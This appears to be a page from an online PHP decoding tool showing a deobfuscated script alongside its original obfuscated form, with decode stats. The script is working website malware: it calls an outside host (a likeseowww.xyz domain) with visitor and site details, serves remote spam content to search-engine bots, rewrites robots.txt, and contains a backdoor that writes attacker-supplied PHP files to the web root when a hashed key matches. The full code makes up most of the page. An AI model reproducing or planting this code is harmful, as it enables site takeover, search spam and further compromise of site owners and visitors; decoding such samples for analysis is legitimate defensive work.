Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto JwY1x; V0BBL: $host = $_SERVER["\110\x54\x54\x50\x5f\110\x4f\x53\124"]; goto ..

Decoded Output download

<?php 
 goto JwY1x; V0BBL: $host = $_SERVER["HTTP_HOST"]; goto b6lPc; Ijac6: $duri_tmp = st_uri(); goto UPb0r; GRu31: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { 
 $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $p 
ingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto yqa11; Pyd0V: $duri = urlencode($duri_tmp); goto Jy87y; RvvVN: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "\x 
6fkhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace 
("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxm\1 
54getcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlg 
5tcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html\ 
x3b charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto GRu31; j0WLY: $lang = urlencode($lang); goto AHqIl; YO2yW: @ignore_user_abort(1); goto IB1dT; gyYXo: function is_htps() { if (isset($_SERVER["H\x 
54TPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_\x5 
8_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HT\1 
24P_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto V0BBL; bgrVe: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) {  
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = c 
url_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto HZeUs; rq5Eu: $goweb = $xmlname . ".likeseowww" . ".xyz"; goto gyYXo; sRO1O: if 
 (is_htps()) { $http = "https"; } else { $http = "http"; } goto Ijac6; yqa11: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "goo\1 
47lebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "goog\ 
x6cebot")) { return true; } else { return false; } } goto bgrVe; RG22P: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&ur\ 
151=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto GmQ7P; WR8nM: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SER 
VER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto d3iaM; Jy87y: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_\1 
25RI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QU\1 
05RY_STRING"]; } } return $duri; } goto rq5Eu; b6lPc: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto j0WLY; UPb0r: if ($duri_tmp == '') { $duri_tmp = "/"; } goto Py 
d0V; d3iaM: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOC\ 
x55MENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitema\ 
160.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent\ 
72 *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added\x 
21<br>"; } else { if (file_put_contents($file_path, trim($data) . "
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file wri\x 
74e false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET[ 
"a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879\ 
1418c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto RG22P; lAvdR: $http_web = "http"; goto sRO1O; JwY1x: @set_time_limit(3600); 
 goto YO2yW; AHqIl: $urlshang = ''; goto WR8nM; IB1dT: $xmlname = "emnn"; goto lAvdR; GmQ7P: $htmcontent = trim(dageget($web)); goto RvvVN; HZeUs:  
 //vx034 ?><?php ?>

Did this file decode correctly?

Original Code

<?php
 goto JwY1x; V0BBL: $host = $_SERVER["\110\x54\x54\x50\x5f\110\x4f\x53\124"]; goto b6lPc; Ijac6: $duri_tmp = st_uri(); goto UPb0r; GRu31: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) {
 $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\151\x74\x65\x6d\x61\160\x20\116\x6f\164\x69\146\x69\143\141\164\151\157\x6e\40\x52\145\143\x65\x69\166\x65\x64") !== false ? "\x70\x69\x6e\147\157\x6b" : "\145\x72\x72\157\162"; $return_str .= $p
ingUrl . "\x2d\55\40" . $ok . "\74\142\162\76"; } return $return_str; } goto yqa11; Pyd0V: $duri = urlencode($duri_tmp); goto Jy87y; RvvVN: if (!strstr($htmcontent, "\x6e\157\x62\x6f\164\165\163\x65\x72\x61\147\x65\156\x74")) { if (strstr($htmcontent, "\x
6f\x6b\x68\164\x6d\154\x67\145\164\143\x6f\x6e\164\x65\156\x74")) { @header("\103\x6f\156\164\x65\x6e\164\x2d\164\x79\x70\x65\x3a\x20\164\x65\x78\x74\x2f\x68\x74\155\x6c\73\40\143\150\x61\x72\163\145\x74\75\x75\164\146\x2d\x38"); $htmcontent = str_replace
("\157\153\x68\x74\155\x6c\147\x65\164\x63\157\156\164\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\155\x6c\147\x65\164\143\x6f\x6e\x74\145\156\164")) { $htmcontent = str_replace("\157\153\x78\155\1
54\147\145\x74\x63\x6f\156\164\x65\156\164", '', $htmcontent); @header("\103\157\156\164\145\x6e\164\55\164\x79\160\145\x3a\x20\164\145\x78\164\x2f\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\151\156\x67\170\x6d\x6c\147\14
5\x74\x63\x6f\x6e\x74\145\156\164")) { $htmcontent = str_replace("\160\151\156\147\x78\x6d\154\x67\145\x74\143\157\156\164\x65\156\x74", '', $htmcontent); @header("\103\157\x6e\x74\x65\x6e\164\55\164\171\160\x65\72\x20\164\x65\x78\164\x2f\x68\164\x6d\x6c\
x3b\40\x63\150\141\162\163\x65\164\x3d\x75\164\146\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto GRu31; j0WLY: $lang = urlencode($lang); goto AHqIl; YO2yW: @ignore_user_abort(1); goto IB1dT; gyYXo: function is_htps() { if (isset($_SERVER["\x48\x
54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\120\123"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\137\x50\122\117\x54\117"]) && $_SERVER["\x48\124\x54\x50\137\x5
8\x5f\x46\x4f\122\x57\x41\x52\104\x45\104\x5f\x50\122\x4f\124\x4f"] === "\x68\x74\164\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\106\x52\117\116\124\137\105\x4e\104\137\x48\x54\124\120\x53"]) && strtolower($_SERVER["\x48\x54\1
24\120\137\x46\x52\x4f\116\124\x5f\105\116\104\x5f\110\124\124\x50\123"]) !== "\157\146\146") { return true; } return false; } goto V0BBL; bgrVe: function dageget($url) { $file_contents = ''; if (function_exists("\143\165\x72\154\x5f\x69\x6e\151\164")) { 
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = c
url_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto HZeUs; rq5Eu: $goweb = $xmlname . "\x2e\154\x69\153\x65\x73\145\x6f\167\167\x77" . "\56\x78\171\x7a"; goto gyYXo; sRO1O: if
 (is_htps()) { $http = "\x68\164\164\x70\163"; } else { $http = "\x68\x74\164\x70"; } goto Ijac6; yqa11: function sbot() { $uAgent = strtolower($_SERVER["\x48\x54\124\x50\137\125\x53\x45\122\137\101\x47\105\x4e\x54"]); if (stristr($uAgent, "\147\x6f\x6f\1
47\154\145\142\x6f\x74") || stristr($uAgent, "\x62\151\x6e\147") || stristr($uAgent, "\x79\x61\150\157\157") || stristr($uAgent, "\x67\x6f\157\147\154\x65") || stristr($uAgent, "\x47\157\x6f\x67\154\145\x62\x6f\x74") || stristr($uAgent, "\147\x6f\157\147\
x6c\145\x62\x6f\x74")) { return true; } else { return false; } } goto bgrVe; RG22P: $web = $http_web . "\x3a\x2f\57" . $goweb . "\57\x69\156\144\145\170\x6e\x65\x77\x2e\160\x68\160\77\x77\145\142\x3d" . $host . "\x26\172\172\x3d" . sbot() . "\x26\x75\162\
151\75" . $duri . "\46\x75\162\154\x73\150\141\x6e\x67\x3d" . $urlshang . "\46\x68\x74\164\x70\75" . $http . "\46\x6c\141\156\x67\x3d" . $lang; goto GmQ7P; WR8nM: if (isset($_SERVER["\x48\124\x54\x50\x5f\x52\105\106\105\122\105\122"])) { $urlshang = $_SER
VER["\x48\x54\x54\120\x5f\x52\105\106\x45\122\105\122"]; $urlshang = urlencode($urlshang); } goto d3iaM; Jy87y: function st_uri() { if (isset($_SERVER["\122\x45\x51\125\105\123\124\137\125\x52\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\105\x53\x54\x5f\1
25\x52\111"]; } else { if (isset($_SERVER["\x61\x72\x67\166"])) { $duri = $_SERVER["\x50\x48\120\137\123\x45\x4c\106"] . "\x3f" . $_SERVER["\141\162\x67\166"][0]; } else { $duri = $_SERVER["\120\110\x50\137\x53\105\x4c\106"] . "\77" . $_SERVER["\x51\125\1
05\122\131\137\123\x54\122\x49\116\x47"]; } } return $duri; } goto rq5Eu; b6lPc: $lang = @$_SERVER["\x48\x54\x54\120\137\101\x43\x43\x45\x50\124\137\x4c\x41\116\107\x55\101\107\105"]; goto j0WLY; UPb0r: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto Py
d0V; d3iaM: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\155\x61\160\x6e\x61\155\145"]; $action = @$_GET["\x61\143\x74\151\157\156"]; if (isset($_SERVER["\x44\x4f\x43\x55\115\x45\x4e\124\137\x52\117\117\x54"])) { $path = $_SERVER["\x44\x4f\103\
x55\x4d\x45\x4e\124\137\x52\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\164"; } if ($action == "\160\x75\x74") { if (strstr($add_content, "\x2e\x78\155\154")) { $map_path = $path . "\57\163\151\x74\x65\155\x61\
160\x2e\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\157\x62\157\164\163\56\x74\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\163\145\x72\55\x61\x67\x65\156\164\
72\x20\52\101\x6c\154\x6f\x77\72\x20\x2f"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\162\76\x73\151\x74\145\x6d\141\160\x20\x61\x6c\162\x65\141\x64\x79\40\141\144\x64\145\x64\x
21\x3c\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\123\151\164\x65\155\141\160\x3a\x20" . $sitmap_url)) { echo "\x3c\x62\x72\76\x6f\153\74\142\x72\x3e"; } else { echo "\x3c\x62\x72\76\146\x69\x6c\x65\40\x77\162\151\x
74\145\x20\x66\141\154\163\x65\x21\x3c\142\x72\76"; } } } else { echo "\74\142\x72\x3e\x73\151\x74\145\155\x61\x70\x20\156\x61\155\145\40\146\x61\154\x73\145\x21\74\142\x72\76"; } if (strstr($add_content, "\x2e\x70" . "\x68\160")) { $a = sha1(sha1(@$_GET[
"\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\57\57" . $goweb . "\57\141\56\160" . "\x68\x70") || $b == "\x38\x30\70\67\63\65\142\x31\67\x63\x38\x39\64\x33\x65\63\67\61\65\x33\x38\70\x39\x35\70\144\x63\62\x32\144\70\67\71\
141\x38\143\x39\x65\x61\141") { $dstr = @$_GET["\144\163\x74\x72"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\x6f\x6b"; } } } } die; } goto RG22P; lAvdR: $http_web = "\x68\x74\164\x70"; goto sRO1O; JwY1x: @set_time_limit(3600);
 goto YO2yW; AHqIl: $urlshang = ''; goto WR8nM; IB1dT: $xmlname = "\145\155\156\156"; goto lAvdR; GmQ7P: $htmcontent = trim(dageget($web)); goto RvvVN; HZeUs: 
 //vx034 ?><?php

Function Calls

None

Variables

None

Stats

MD5 e852666ae6ee71b6fc55c9ff38cdeb31
Eval Count 0
Decode Time 47 ms